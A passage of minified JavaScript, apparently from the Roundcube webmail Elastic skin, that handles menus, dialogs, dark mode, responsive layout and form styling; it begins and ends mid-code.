e=$("#properties-menu").clone();rcmail.simple_dialog(e,"properties",null,{cancel_button:"close",height:400})},this.headers_show=ue,this.spellmenu=function(e){var t,a,n=[],i=rcmail.spellcheck_lang(),o=$("ul",e);if(!o.length){for(t in o=$('<ul class="selectable listing iconized" role="menu">'),rcmail.env.spell_langs)a=$('<li role="menuitem">'),$('<a href="#'+t+'" tabindex="0"></a>').text(rcmail.env.spell_langs[t]).addClass("active").data("lang",t).on("click keypress",function(e){if("keypress"!=e.type||13==rcube_event.get_keycode(e))return rcmail.spellcheck_lang_set($(this).data("lang")),rcmail.hide_menu("spell-menu",e),!1}).appendTo(a),n.push(a);o.append(n).appendTo(e)}$("li",o).each(function(){var e=$("a",this);e.data("lang")==i?e.addClass("selected").attr("aria-selected","true"):e.hasClass("selected")&&e.removeClass("selected").removeAttr("aria-selected")})},this.searchmenu=function(c){var e,t="*",a=$('input[name="s_mods[]"]',c),n=$("#s_scope",c),i=$("#s_interval",c),o=rcmail.env.mailbox,s=rcmail.env.search_mods,r=rcmail.env.search_scope||"base";$(c).data("initialized")||($(c).data("initialized",!0),a.length&&(a.on("change",function(){var e,t,a=c,n=this,i={},o=$('input[name="s_mods[]"]',a),s=rcmail.env.task,r=rcmail.env.search_mods||{},l=rcmail.env.mailbox;"mail"==s?(r[l]||(r[l]=rcube_clone_object(r["*"])),t=r[l],e="text",i={sender:["from","replyto","followupto"],recipient:["to","cc","bcc"]}):(t=r,e="*"),n.checked?t[n.value]=1:delete t[n.value],n.value==e?o.not(n).each(function(){this.checked=!0,n.checked?(this.disabled=!0,delete t[this.value]):(this.disabled=!1,this.value in i||(t[this.value]=1))}):n.value in i?(delete t[n.value],o.filter(function(){return-1!=$.inArray(this.value,i[n.value])}).each(function(){n.checked?(this.checked=!0,t[this.value]=1):(this.checked=!1,delete t[this.value])})):i.sender&&pe(a),rcmail.set_searchmods(t)}),rcmail.addEventListener("beforesearch",function(){rcmail.env.search_scope=n.val(),rcmail.env.search_interval=i.val()})),$(c).find(".proplist > li > a.dropdown").on("click",function(){var e=$(this).next();e[e.is(".d-none")?"removeClass":"addClass"]("d-none")}));if(n.val(r),s)if("mail"==rcmail.env.task&&(s=s[o]||s["*"],t="text"),s[t])a.map(function(){this.checked=!0,this.disabled=this.value!=t});else for(e in a.prop("disabled",!1).prop("checked",!1),s)a.filter('[value="'+e+'"]').prop("checked",!0);pe(c)},this.headersmenu=function(e,t,a){$("li > a",e).each(function(){var e=$(this),t="#compose_"+e.data("target");e[$(t).is(":visible")?"removeClass":"addClass"]("active").off().on("click",function(){$(t).removeClass("hidden").find(".recipient-input input").focus(),e.removeClass("active"),rcmail.set_menu_buttons()})})},this.header_reset=function(e){$("#"+e).val("").change().closest(".form-group").nextAll(":not(.hidden)").first().find("input").focus(),$("a[data-target="+e.replace(/^_/,"")+"]").addClass("active"),rcmail.set_menu_buttons()},this.compose_status=me,this.attachmentmenu=he,this.mailtomenu=ve,this.recipient_selector=function(e,t){t=t||{};function a(){i.is(":visible")&&rcmail.env.recipient_dialog.dialog("close")}var n=t.title||"insertcontact",i=$("#recipient-dialog"),o=i.parent();rcmail.env.recipient_selector_initialized||(rcmail.addEventListener("add-recipient",a),rcmail.env.recipient_selector_initialized=!0);e&&(rcmail.env.focused_field="#_"+e);rcmail.contact_list.clear_selection(),rcmail.contact_list.multiselect=!("multiselect"in t)||t.multiselect,rcmail.env.recipient_dialog=rcmail.simple_dialog(i,n,function(){t.action?(t.action(),a()):rcmail.command("add-recipient")},{button:rcmail.gettext(t.button||"insert"),button_class:t.button_class||"insert recipient",height:600,classes:{"ui-dialog-content":"p-0"},open:function(){$("#directorylist a").first().focus()},close:function(){i.appendTo(o),$(this).remove(),$(t.focus||rcmail.env.focused_field).focus()}})},this.show_list=oe,this.show_sidebar=ie,this.smart_field_init=function(a){var e=a.id+"_list",n=$('<div class="multi-input"><div class="content"></div><div class="invalid-feedback"></div></div>'),t=a.value?a.value.split("\n"):[""];$("#"+e).length||($.each(t,function(e,t){ke($(".content",n),t,0,a)}),n.attr("id",e),(a=$(a)).attr("disabled")?n.hide():a.prop("disabled",!0),a.data("hidden")&&n.hide(),a.after(n),a.hasClass("is-invalid")&&(n.addClass("is-invalid"),$(".invalid-feedback",n).text(a.data("error-msg"))))},this.smart_field_reset=function(a,e){var t=a.id+"_list",e=e.length?e:[""],n=$("#"+t).children(".content");n.empty(),$.each(e,function(e,t){ke(n,t,0,a)})},this.form_errors=function(e){$.each(e,function(){var e=$("#"+this[0]).addClass("is-invalid");"list"==e.data("type")?(e.data("error-msg",this[2]),$("#"+this[0]+"_list > .invalid-feedback").text(this[2])):e.after($('<span class="invalid-feedback">').text(this[2]))})},this.switch_nav_list=function(e){var t,a,n=$("a",e),i=$(e).next();i.height()?(i.animate({height:"0"},250),n.addClass("expand").removeClass("collapse"),$(e).removeClass("expanded")):(t=$("tr,li",i).filter(function(){return"none"!=this.style.display}),a=$(t[0]).height()||50,i.animate({height:Math.min(5,t.length)*a+1+"px"},250),n.addClass("collapse").removeClass("expand"),$(e).addClass("expanded"))},this.searchbar_init=le,this.pretty_checkbox=A,this.pretty_select=_e,this.datepicker_init=function(e){window.MutationObserver&&$(e).not("[data-observed]").each(function(){var n,i=!0,o=v?parent:window;$(this).attr("data-observed","1"),v&&($(this).detach().appendTo(parent.document.body),$('<div id="ui-datepicker-div" class="hidden">').appendTo(document.body)),new MutationObserver(function(e){$.each(e,function(e,t){var a;"attributes"==t.type?(a="true"==$(t.target).attr("aria-hidden"))!=i&&(a?n&&n.remove():n=$("<div>").attr("class","ui-widget-overlay datepicker").appendTo(o.document.body).click(function(e){$(this).remove(),v&&$.datepicker._hideDatepicker()}),i=a):t.addedNodes.length&&(o.UI.bootstrap_style(t.target),v)&&(o.$("select.ui-datepicker-month",t.target).on("change",function(){$.datepicker._selectMonthYear($.datepicker._lastInput,this,"M")}),o.$("select.ui-datepicker-year",t.target).on("change",function(){$.datepicker._selectMonthYear($.datepicker._lastInput,this,"Y")}))})}).observe(this,{childList:!0,subtree:!1,attributes:!0,attributeFilter:["aria-hidden"]})})},this.bootstrap_style=E,this.toggle_list_selection=function(e,t){$(e).is(".active")&&Ee("list-selection",$("#"+t).toggleClass("withselection").is(".withselection"))},this.get_screen_mode=function(){return m},this.is_mobile=I,this.is_touch=Ce,Z(),"print"!=rcmail.env.action&&(l=rcmail.get_cookie("colorMode"),c=window.matchMedia("(prefers-color-scheme: dark)"),H=function(){rcmail.set_cookie("colorMode","",new Date)},d=function(){try{$(this.contentWindow.document).find("html")["dark"==h?"addClass":"removeClass"]("dark-mode")}catch(e){}},!(u=function(){"dark"==h?($("#taskmenu a.theme").removeClass("dark").addClass("light").find("span").text(rcmail.gettext("lightmode")),$("html").addClass("dark-mode")):($("#taskmenu a.theme").removeClass("light").addClass("dark").find("span").text(rcmail.gettext("darkmode")),$("html").removeClass("dark-mode")),te(m),$("iframe").each(d)})===rcmail.env.dark_mode_support?"dark"==l&&(H(),$("iframe").each(d)):($("#taskmenu a.theme").on("click",function(){h=$(this).is(".dark")?"dark":"light",u(),rcmail.set_cookie("colorMode",h,!1)}),c.addListener(function(e){h=e.matches?"dark":"light",u(),H()}),l?h=l:c.matches&&(h="dark"),u(),$("iframe").on("load",d))),g.last_selected=$("#layout > div.selected")[0],!g.last_selected&&_.content.length&&$.each(["sidebar","list","content"],function(){if(_[this].length)return g.last_selected=_[this][0],_[this].addClass("selected"),!1}),$(window).on("resize",function(){clearTimeout(g.resize_timeout),g.resize_timeout=setTimeout(function(){T()},25)}),g.open_window=rcmail.open_window,rcmail.open_window=xe,rcmail.addEventListener("message",se).addEventListener("menu-open",ce).addEventListener("menu-close",ce).addEventListener("editor-init",J).addEventListener("autocomplete_create",Q).addEventListener("googiespell_create",Q).addEventListener("setquota",ge).addEventListener("enable-command",X).addEventListener("destroy-entity-selector",function(e){de(e.name)}).addEventListener("clonerow",be).addEventListener("init",G),(_.list.length||_.content.length)&&I()&&(n=[],$("[data-fab]").each(function(){var e=$(this),t=e.data("fab-task")||"*",a=e.data("fab-action")||"*";"*"!=t&&t!=rcmail.env.task||"*"!=a&&a!=rcmail.env.action&&("none"!=a||rcmail.env.action)||n.push(C(e,!1,!1,!0))}),n.length)&&$('<div class="floating-action-buttons">').append(n).appendTo(_.list.length?_.list:_.content),_.sidebar.length&&we(_.sidebar),_.list.length&&we(_.list),E(),g.got_smart_toolbar||(g.got_smart_toolbar=!0,t=[],i=[],N=D(),o=function(e,t,a){var n=$('<li role="menuitem">');(e=a?C($(e),!0,"hidden-big hidden-large"):$(e).detach()).contents().filter(function(){3==this.nodeType&&0==this.nodeValue.trim().length&&$(this).remove()}),e.is(".spacer")?n.addClass("spacer"):n.append(e),t.push(n)},_.content.find(".header > .menu").each(function(){var e=$(this);e.children().each(function(){o(this,t)}),e.remove()}),_.list.find(".header > .menu").each(function(){var e=$(this);R=e.next(),e.children().each(function(){"large"!=N.mode&&$(this).data("popup-pos","right"),o(this,t,!0),o(this,i)}),e.remove()}),$('ul[data-menu="toolbar-small"] > li > a').each(function(){var e=$(this).clone();e.attr("id",this.id+"_clone"),t.push($('<li role="menuitem">').addClass("hidden-big").append(e))}),i.length&&(e=_.list.children(".header"),s={class:"menu toolbar popupmenu listing iconized",id:"toolbar-list-menu"},r=$('<a class="button icon toolbar-list-button" href="#list-menu">').attr({"data-popup":"toolbar-list-menu"}),l=$("<ul>").attr(s).data("popup-parent",e).append(i),R.length?l.insertBefore(R):e.append(l),e.append(r)),t.length&&(e=_.content.children(".header"),s={class:"menu toolbar popupmenu listing iconized",id:"toolbar-menu"},r=$('<a class="button icon toolbar-menu-button" href="#menu">').attr({"data-popup":"toolbar-menu"}),e.append($("<ul>").attr(s).data("popup-parent",e).append(t)).append(r),_.list.find("a.toolbar-menu-button").click(function(e){e.stopPropagation(),r.click()}))),_.list.length&&(W=g.last_selected,P=function(e){"string"==typeof e&&e.length||(e=$("h1.voice").text()||$("title").text()||""),_.content.find(".header > .header-title").text(e)},U=function(e,t,a,n){var i,o,s,r,l;I()&&g.frame_nav&&(e=e,(t=t).match(/_action=(create|add)/)||t.match(/_nav=hide/)?$(g.frame_nav).addClass("hide-nav-buttons"):(t=$("[data-list]",_.list).data("list"))&&(i=rcmail[t])?($(g.frame_nav).removeClass("hide-nav-buttons hidden"),(l=i.get_single_selection())&&(i.rows&&i.rows[l]&&!i.rows[l].expanded?i.expand_row(e,l):i.get_node&&(e=i.get_node(l))&&e.collapsed&&i.expand(l)),r=$("#"+rcmail.env.contentframe),e=$("a.button.next",g.frame_nav).off("click").addClass("disabled"),l=$("a.button.prev",g.frame_nav).off("click").addClass("disabled"),((s=i.get_next())||rcmail.env.current_page<rcmail.env.pagecount)&&e.removeClass("disabled").on("click",function(){g.content_lock=!0,S(r),s?i.select(s):(rcmail.env.list_uid="FIRST",rcmail.command("nextpage"))}),((o=i.get_prev())&&("*"!=o||"subscription_list"!=t)||1<rcmail.env.current_page)&&l.removeClass("disabled").on("click",function(){g.content_lock=!0,S(r),o?i.select(o):(rcmail.env.list_uid="LAST",rcmail.command("previouspage"))})):$(g.frame_nav).is(".hide-nav-buttons")&&!$(".buttons",g.frame_nav).children().length&&$(g.frame_nav).addClass("hidden")),a&&!_.content.is(":visible")?g.last_selected=_.content[0]:a||g.last_selected==W||g.content_lock||(g.last_selected=W),ee(),P(n&&a?n:null),g.content_lock=!1},q=function(e){"large"!=m&&!g.content_lock&&e.force&&oe(),g.content_lock=!1,e.title&&$(".header > .header-title",_.list).text(e.title)},c=function(e){var t={};"addressbook"!=rcmail.env.task&&"mail"!=rcmail.env.task||(t.force=!0),"mail"!=rcmail.env.task||rcmail.env.action||(e="string"==$.type(e)?e:rcmail.env.mailbox,e=rcmail.env.mailboxes[e],t.title=e?e.name:""),q(t)},_.content.find("iframe").on("load",function(e){var t,a="",n=!0;$(this).parent(".iframe-wrapper").scrollTop(0);try{n=!(a=(t=e.target.contentWindow).location.href).endsWith(rcmail.env.blankpage),$(t).on("unload",P)}catch(e){}U(e,a,n)}),rcmail.addEventListener("afterlist",c).addEventListener("afterlistgroup",c).addEventListener("afterlistsearch",c).addEventListener("show-list",function(e){e.force=!0,q(e)}).addEventListener("show-content",function(e){e.obj&&!$(e.obj).is("iframe")&&($(e.scrollElement||e.obj).scrollTop(0),I())&&S(e.obj),U(e.event||new Event,"_action="+(e.mode||"edit"),!0,e.title)})),$("[data-popup]").each(function(){z(this)}),$(document).on("click",M),rcube_webmail.set_iframe_events({mousedown:M,touchstart:M});var w,x,V=[];function C(t,e,a,n){var i,o=!0,s=$("<a>"),r=t.attr("id")||(new Date).getTime(),l=r+"-clone",a=t[0].className+(a?" "+a:"");return e?(i=t.data("popup"))&&(s.data({popup:i,"toggle-button":t.data("toggle-button")}),z(s[0]),o=!1,rcmail.register_menu_button(s[0],i)):(a=a.replace("btn-primary","primary").replace(/(btn[a-z-]*|button|disabled)/g,"").trim(),a+=" button"+(n?"":" disabled")),s.attr({id:l,href:"#",class:a}).append($('<span class="inner">').text(t.text())),o&&s.on("click",function(e){t.click()}),v&&!e?(s.data("target",t),K.push($.extend({button_id:l},y(t[0].id)))):(i=r,n=l,o=a.replace(" disabled",""),(i=y(i))&&rcmail.register_button(i.command,n,i.data.type,o,i.data.sel)),s}function y(e){var t,a,n;for(n in rcmail.buttons)for(t=0;t<rcmail.buttons[n].length;t++)if((a=rcmail.buttons[n][t]).id==e)return{command:n,index:t,data:a}}function G(){$("[data-list]").filter("ul,table").each(function(){var e,t,a,n,i=$(this),o=i.data("list");rcmail[o]&&rcmail[o].multiselect&&((t=(a=(e=i.parents("layout-sidebar,#layout-list,#layout-content").last()).find(".header")).find("ul")).length?n=(n=t.find("a.select").data("toggle-button"))&&$("#"+n):t=a,rcmail[o].enable_checkbox_selection(),!0===ye("list-selection")&&i.addClass("withselection"),n||(n=$("<a>").attr({class:"button selection disabled",role:"button",title:rcmail.gettext("select")}).on("click",function(){UI.toggle_list_selection(this,i.attr("id"))}).append($('<span class="inner">').text(rcmail.gettext("select"))),t.is(".menu")?(n.prependTo(t).wrap('<li role="menuitem">'),_.content&&(a=C(n,!0,"hidden-big hidden-large"),$('<li role="menuitem">').append(a).appendTo("#toolbar-menu"),n=n.add(a))):(a=i.data("list-select-replace"))?$(a).replaceWith(n):(n.appendTo(t).addClass("icon"),e.is("#layout-sidebar")||n.addClass("toolbar-button"))),rcmail.addEventListener("listupdate",function(e){e.list&&e.list==rcmail[o]&&(e.rowcount?n.addClass("active").removeClass("disabled").attr("tabindex",0):n.removeClass("active").addClass("disabled").attr("tabindex",-1))})),B&&rcmail[o]&&("function"==typeof rcmail[o].draggable?rcmail[o].draggable("destroy"):"boolean"==typeof rcmail[o].draggable&&(rcmail[o].draggable=!1),rcmail[o].dblclick_time=0)}),window.MutationObserver&&$("[data-label-msg]").filter("ul,table").each(function(){var n=$('<div class="listing-info hidden">').insertAfter(this),i=$(this),e=function(){var e,t=i.data("label-msg"),a=i.is("ul")?i:i.children("tbody");rcmail.env.search_request||rcmail.env.qsearch||!t||a.children(":visible").length?n.addClass("hidden"):(a=i.data("label-ext"),e=i.data("create-command"),!a||e&&!rcmail.commands[e]||(t+=" "+a),n.text(t).removeClass("hidden"))},t=function(){if(rcmail.busy||!i.is(":visible"))return setTimeout(t,250);clearTimeout(g.list_timer),g.list_timer=setTimeout(e,50)};new MutationObserver(t).observe(i[0],{childList:!0,subtree:!0,attributes:!0,attributeFilter:["style"]}),t()}),"print"!=rcmail.env.action&&$("#attachment-list > li").each(function(){fe(this)});function t(e){"phone"==m&&rcmail.display_message(rcmail.gettext(e),"confirmation")}var e,a;rcmail.addEventListener("fileappended",function(e){e.attachment.complete&&(fe(e.item),"text/vcard"==e.attachment.mimetype)&&rcmail.commands["attach-vcard"]&&t("vcard_attachments.vcardattached")}).addEventListener("managesieve.insertrow",function(e){E(e.obj)}).addEventListener("add-recipient",function(){t("recipientsadded")}),rcmail.init_pagejumper(".pagenav > input"),"mail"==rcmail.task?("compose"==rcmail.env.action&&(rcmail.addEventListener("compose-encrypted",function(e){$("a.mode-html, button.attach").prop("disabled",e.active),$("a.attach, a.responses:not(.edit)")[e.active?"addClass":"removeClass"]("disabled")}),$("#layout-sidebar > .footer:not(.pagenav) > a.button").click(function(){$(this).is(".disabled")&&rcmail.display_message(rcmail.gettext("nocontactselected"),"warning")}),window.MutationObserver)&&(e=$("#attachment-list"),a=function(){me("attach",0<e.children().length)},new MutationObserver(a).observe(e[0],{childList:!0}),a()),rcmail.env.extwin||"compose"!=rcmail.env.action&&"show"!=rcmail.env.action||$("a.mail",_.menu).attr({"aria-disabled":!1,onclick:"return rcmail.command('list','',this,event);"}),"preview"!=rcmail.env.action&&"show"!=rcmail.env.action||($("a").filter('[href^="mailto:"]').each(function(){var a,n;n=(a=this).onclick,a.onclick=null,$(a).on("click",function(e,t){return t||ve($("#mailto-menu"),a,e,n)})}),ue())):"settings"==rcmail.task&&(rcmail.addEventListener("identity-encryption-show",function(e){E(e.container)}),rcmail.addEventListener("identity-encryption-update",function(e){E(e.container)})),rcmail.set_env({thread_padding:"1.5rem",popup_width_small:1025,popup_width:1200}),rcmail.env.devel_mode&&window.less?less.pageLoadFinished.then(function(){T(),rcmail.env.compose_focus_elem&&$(rcmail.env.compose_focus_elem).focus()}):T();var n,i=rcmail.env.date_format_localized;i&&(n=function(e){$(e).filter(".datepicker").attr("placeholder",i),$(e).parent().find("select").each(function(){_e(this)})},$("input.datepicker").each(function(){n(this)}),rcmail.addEventListener("insert-edit-field",n))}function E(t){t=t||document,$("input.button,button",t).not(".btn").addClass("btn").not(".btn-primary,.primary,.mainaction").addClass("btn-secondary"),$("input.button.mainaction,button.primary,button.mainaction",t).addClass("btn-primary"),$("button.btn.delete,button.btn.discard",t).addClass("btn-danger"),$.each(["warning","error","information","confirmation"],function(){var e=this;$(".box"+e+":not(.ui.alert)",t).each(function(){re(this,e,!0)})}),t!=document&&1==$(".popup",t).children().length&&((a=$(".popup",t).children().first()).is("img")?$(".popup",t).addClass("justified"):a.is("label")&&(e=a.find("input").detach(),a=a.detach(),(n=e.attr("id"))||e.attr("id",n="dialog-input-elastic"),$(".popup",t).addClass("formcontent").append($('<div class="form-group row">').append(a.attr("for",n).addClass("col-sm-4 col-form-label text-break")).append($('<div class="col-sm-8">').append(e))),e.focus()));var e,a,n,i="input:not(.button,.no-bs,[type=button],[type=radio],[type=checkbox],[type=file]),textarea";$(i,$(".propform",t)).addClass("form-control"),$("[type=checkbox]",$(".propform",t)).addClass("form-check-input"),$("select",t).addClass("form-control custom-select"),t!=document&&$(i,t).addClass("form-control"),$("table.propform",t).each(function(){var o=0,s=0,r=["sm",4,8];$(this).attr("class").match(/cols-([a-z]+)-(\d)-(\d)/)&&(r=[RegExp.$1,RegExp.$2,RegExp.$3]),$(this).find("> tbody > tr, > tr").each(function(){var e,t,a=$(this),n=["form-group","row"],i=a.children("td");2==i.length?(e=i.first(),t=i.last(),$("label",e).addClass("col-form-label"),e.addClass("col-"+r[0]+"-"+r[1]),t.addClass("col-"+r[0]+"-"+r[2]),1!=t.find("[type=checkbox]").length||t.find(".proplist").length?t.find("input:not([type=hidden]),textarea,radio,select").length?s++:(t.addClass("form-control-plaintext"),o++):(n.push("form-check"),t.find("a").length&&n.push("with-link"),s++),t.children(".datepicker")&&2==t.children("input").length&&t.addClass("datetime")):1==i.length&&i.css("width","100%"),a.addClass(n.join(" "))}),s<o&&$(this).addClass("text-only")}),$("td.input-group",t).each(function(){$(this).children().slice(1).addClass("input-group-append")}),$("fieldset.propform:not(.grouped) div.row",t).each(function(){var e=0<$("input:not([type=hidden]),select,textarea",this).length;e&&$(i,this).addClass("form-control"),$(this).children().last().addClass("col-sm-8"+(e?"":" form-control-plaintext")),$(this).children().first().addClass("col-sm-4 col-form-label"),$(this).addClass("form-group")}),$("fieldset.propform.grouped fieldset",t).each(function(){$(".row",this).each(function(){var e,t=0<$("input,select,textarea",this).length,a=$(this).children();t&&$(i,this).addClass("form-control"),a.length<2||((e=a.first()).is("select")?e.addClass("input-group-prepend"):e.wrap('<span class="input-group-prepend">').addClass("input-group-text"),t||a.last().addClass("form-control-plaintext"),$(".content",this).addClass("input-group-prepend input-group-append input-group-text"),$("a.deletebutton",this).addClass("input-group-text icon delete").wrap('<span class="input-group-append">'),$(this).addClass("input-group"))})}),$("fieldset.advanced",t).each(function(){var e=$(this).children(".propform").first();e.wrap($("<div>").addClass("collapse")),$(this).children("legend").first().addClass("closed").on("click",function(){e.parent().collapse("toggle"),$(this).toggleClass("closed")})}),$(".propform > .prop.block:not(.row)",t).each(function(){$(this).addClass("form-group row").each(function(){$("label",this).addClass("col-form-label").wrap($('<div class="col-sm-4">')),$("input,select,textarea",this).wrap($('<div class="col-sm-8">')),$(i,this).addClass("form-control")})}),$("td.rowbuttons > a",t).addClass("btn"),$("form.tabbed,div.tabbed",t).each(function(n,e){var i=[],t=$("<ul>").attr({class:"nav nav-tabs",role:"tablist"});$(this).addClass("tab-content").children("fieldset").each(function(e,t){var e=t.id||"tab"+n+"-"+e,a=$(t).data("navlink-class");$(t).addClass("tab-pane").attr({id:e,role:"tabpanel"}),a=$("<li>").addClass("nav-item").append($("<a>").addClass("nav-link"+(a?" "+a:"")).attr({role:"tab",href:"#"+e}).text($("legend",t).first().text()).click(function(e){return $(this).tab("show"),M(e),!1})),$("legend",t).first().hide(),i.push(a)}),t.append(i).insertBefore(e),$("a.nav-link",t).first().click()}),$("input[type=file]:not(.custom-file-input)",t).each(function(){var t=rcmail.gettext("choosefile"+(this.multiple?"s":"")),e=$("<label>").attr({class:"custom-file-label","data-browse":rcmail.gettext("browse")}).text(t);$(this).addClass("custom-file-input").wrap('<div class="custom-file">'),$(this).on("change",function(){var e=t;this.files.length&&(e=this.files[0].name,1<this.files.length)&&(e+=", ..."),$(this).next().text(e)}).parent().append(e)}),$("table:not(.table,.compact-table,.propform,.listing,.ui-datepicker-calendar)",t).filter(function(){return!$(this).parent().is(".propform")&&!$(this).parents("#message-header,.message-htmlpart,.message-partheaders,.boxinformation,.raw-tables").length}).each(function(){var e=$(this).addClass("table");e.parent().addClass("table-responsive-sm"),e.find("thead").addClass("thead-default")}),$("input.pretty-checkbox, .propform input[type=checkbox], .form-check input[type=checkbox], .popupmenu.form input[type=checkbox], .menu input[type=checkbox]",t).each(function(){A(this)}),$(t).is(".actionrow")&&$("input[type=checkbox]",t).each(function(){A(this)}),$(".input-group-combo > select",t).first().on("change",function(){function e(){t[t.next().is(":visible")?"removeClass":"addClass"]("alone")}var t=$(this);setTimeout(e,50),setTimeout(e,2e3)}).trigger("change"),$("#message-objects",t).children(":not(.ui.alert)").add(".part-notice").each(function(){var e=String($(this).removeClass("notice part-notice").attr("class")).split(/\s/)[0]||"warning";re(this,e),$(this).addClass("box"+e),$("a",this).addClass("btn btn-primary btn-sm")}),$(".error",t).addClass("is-invalid"),"login"==rcmail.env.task&&t==document&&($("#rcmloginsubmit").addClass("btn-lg text-uppercase w-100"),$("#rcmloginoauth").addClass("btn btn-secondary btn-lg w-100"),$("#login-form table tr").each(function(){var e=$("input,select",this),t=$("label",this),a=e.data("icon"),n=$("<i>").attr("class","input-group-text icon "+e.attr("name").replace("_",""));a&&n.addClass(a),$(this).addClass("form-group row"),t.parent().css("display","none"),e.addClass(e.is("select")?"custom-select":"form-control").attr("placeholder",t.text()).before($('<span class="input-group-prepend">').append(n)).parent().addClass("input-group input-group-lg")})),$("select:not([multiple])",t).each(function(){_e(this)})}function J(e){var i,o,t,a=[],n=$("#"+e.id).parent().is(".html-editor");e.config.plugins+=" autoresize",Ce()&&(e.config.toolbar="undo redo | link image styleselect"),"mail"==rcmail.task&&"compose"==rcmail.env.action&&(i=!1,o=$("#compose-content > form"),t=function(e){"Tab"==e.key&&e.shiftKey&&$("#compose-content > form").scrollTop(0)},a.push(function(e){e.on("keypress",t)}),$("#composebody").on("keypress",t),o.on("scroll",function(){var e=$(".tox-editor-container",o),t=e.find(".tox-toolbar-overlord"),a=e.offset(),n=o.offset().top;a&&a.top-n<0?(t.css({position:"fixed",top:n+"px",width:e.width()+"px"}),i=!0):(i&&($("#compose-subject").focus(),i=!1),t.css({position:"relative",top:0,width:"auto"}))}),$(window).resize(function(){o.trigger("scroll")})),n&&(e.config.toolbar="plaintext | "+e.config.toolbar,e.config.setup_callback=function(t){t.ui.registry.addButton("plaintext",{tooltip:rcmail.gettext("plaintoggle"),icon:"close",onAction:function(e){rcmail.command("toggle-editor",{id:t.id,html:!1},"",e.originalEvent)&&$("#"+t.id).parent().removeClass("ishtml")}})}),a.push(function(e){e.on("OpenWindow",function(e){function t(e){var t=$(n).find(".tox-dialog__body"),a=$(n).find(".tox-dialog__footer").find("button");e||(4===a.length?t.closest(".tox-dialog").addClass("tox-search-dialog"):2==a.length&&a.first().insertAfter(a[1])),t.find(".tox-checkbox > input").each(function(){A(this)}),t.find(".tox-textarea,.tox-textfield").addClass("form-control")}var n=$(".tox-dialog:last")[0];window.MutationObserver&&new MutationObserver(t).observe($(".tox-dialog__body-content",n)[0],{childList:!0}),t()})}),rcmail.addEventListener("editor-load",function(e){$.each(a,function(){this(e.ref.editor)})})}function Q(t){var e;$("ul",t.obj).addClass("menu listing iconized"),$(t.obj).addClass("popupmenu popover"),E(t.obj),$("input",t.obj).addClass("form-control"),I()&&$(t.obj).is(".googie_window")&&(e=rcmail.gettext("close"),e=$("<a>").attr("class","button icon cancel").text(e).click(function(e){e.stopPropagation(),$(".popover-overlay").remove(),$(t.obj).hide()}),$('<h3 class="popover-header">').append(e).prependTo(t.obj),$(".popover-overlay").length||$("<div>").attr("class","popover-overlay").appendTo("body").click(function(){$(this).remove()}),$("ul,button",t.obj).click(function(e){$(e.target).is("input")||$(".popover-overlay").remove()}))}function X(a){if(v&&$.each(K,function(e,t){a.command==t.command&&parent.$("#"+t.button_id)[a.status?"removeClass":"addClass"]("disabled")}),"mail"==rcmail.task)switch(a.command){case"reply-list":var e;1==rcmail.env.reply_all_mode&&(e=rcmail.gettext(a.status?"replylist":"replyall"),$(".toolbar a.reply-all").attr("title",e).find(".inner").text(e));break;case"compose-encrypted":$(".toolbar a.encrypt").parent().show();break;case"compose-encrypted-signed":$("#encryption-menu-button").show()}}function Z(){var e=$(window).width(),t=e<=480?"phone":1200<e?"large":768<e?"normal":"small";B=e<=1024,m=t}function T(){Z(),ee();var e,t=D(),a=$(document.documentElement);a[0].className.match(/layout-([a-z]+)/)?RegExp.$1!=t.mode&&a.removeClass("layout-"+RegExp.$1).addClass("layout-"+t.mode):a.addClass("layout-"+t.mode),t.touch&&!a.is(".touch")?a.addClass("touch"):!t.touch&&a.is(".touch")&&a.removeClass("touch"),(e=I())?(rcmail.set_env(g.small_screen_config),rcmail.enable_command("extwin",!1)):(rcmail.set_env(g.config),rcmail.enable_command("extwin",!0)),$.each(Y,function(){$(this)[e?"hide":"show"]()}),rcmail.triggerEvent("skin-resize",{mode:m})}function ee(){if(!v||_.sidebar.length||_.list.length){switch(m){case"phone":ae(),j(!1);break;case"small":ae(),j(!0);break;case"normal":var e;_.list.length&&(e=_.list.is(g.last_selected)||!_.sidebar.is(g.last_selected)&&!_.sidebar.is(".layout-sticky"),_.list[e?"removeClass":"addClass"]("hidden")),_.sidebar.length&&(e=!_.list.length||_.sidebar.is(g.last_selected)||_.sidebar.is(".layout-sticky"),_.sidebar[e?"removeClass":"addClass"]("hidden")),_.content.removeClass("hidden"),j(!0),ne(),_.list.length&&$(".header > ul.menu",_.list).addClass("popupmenu");break;case"large":$.each(_,function(e,t){t.removeClass("hidden")}),ne(),_.list&&$(".header > ul.menu.popupmenu",_.list).removeClass("popupmenu")}te(m),L(),bw.webkit&&bw.ipad&&bw.agent.match(/OS 9/)&&$(".iframe-wrapper").each(function(){var e=$(this).height();e&&$(this).children("iframe").height(e)})}else L()}function te(e){var t=rcmail.env.additional_logos;t&&($("#logo").data("src-default")||$("#logo").data("src-default",$("#logo").attr("src")),"phone"==e&&"dark"==h&&t["small-dark"]?$("#logo").attr("src",t["small-dark"]):"phone"==e&&t.small?$("#logo").attr("src",t.small):"dark"==h&&t.dark?$("#logo").attr("src",t.dark):$("#logo").attr("src",$("#logo").data("src-default")))}function L(){$("#layout > div > .header").each(function(){var e,t=0,a=0,n={left:0,right:0};$(this).children(":visible:not(.position-absolute)").each(function(){!e&&$(this).is(".header-title")?e=$(this):n[e?"right":"left"]+=this.offsetWidth}),n.left<=0+n.right?a=n.right+(t=0)-n.left:t=n.left-((a=0)+n.right),$(e).css({"margin-right":t+"px","margin-left":a+"px","padding-right":"0px"})})}function ae(){var e,t=!1;_.content.length&&(e=t=_.content.is(g.last_selected),_.content[e?"removeClass":"addClass"]("hidden"),$(".header > ul.menu",_.content).addClass("popupmenu")),_.list.length&&(e=!t&&_.list.is(g.last_selected),_.list[e?"removeClass":"addClass"]("hidden"),$(".header > ul.menu",_.list).addClass("popupmenu")),_.sidebar.length&&(e=!t&&(_.sidebar.is(g.last_selected)||!_.list.length),_.sidebar[e?"removeClass":"addClass"]("hidden")),t&&k.back_list.show()}function ne(){k.back_list.filter(function(){return 0==$(this).parents("#layout-sidebar").length}).hide(),$("ul.menu.popupmenu").removeClass("popupmenu")}function ie(e){_.list.addClass("hidden"),_.sidebar.removeClass("hidden"),e&&_.sidebar.addClass("layout-sticky"),"small"!=m&&"phone"!=m||_.content.addClass("hidden"),L(),g.last_selected=_.sidebar[0]}function 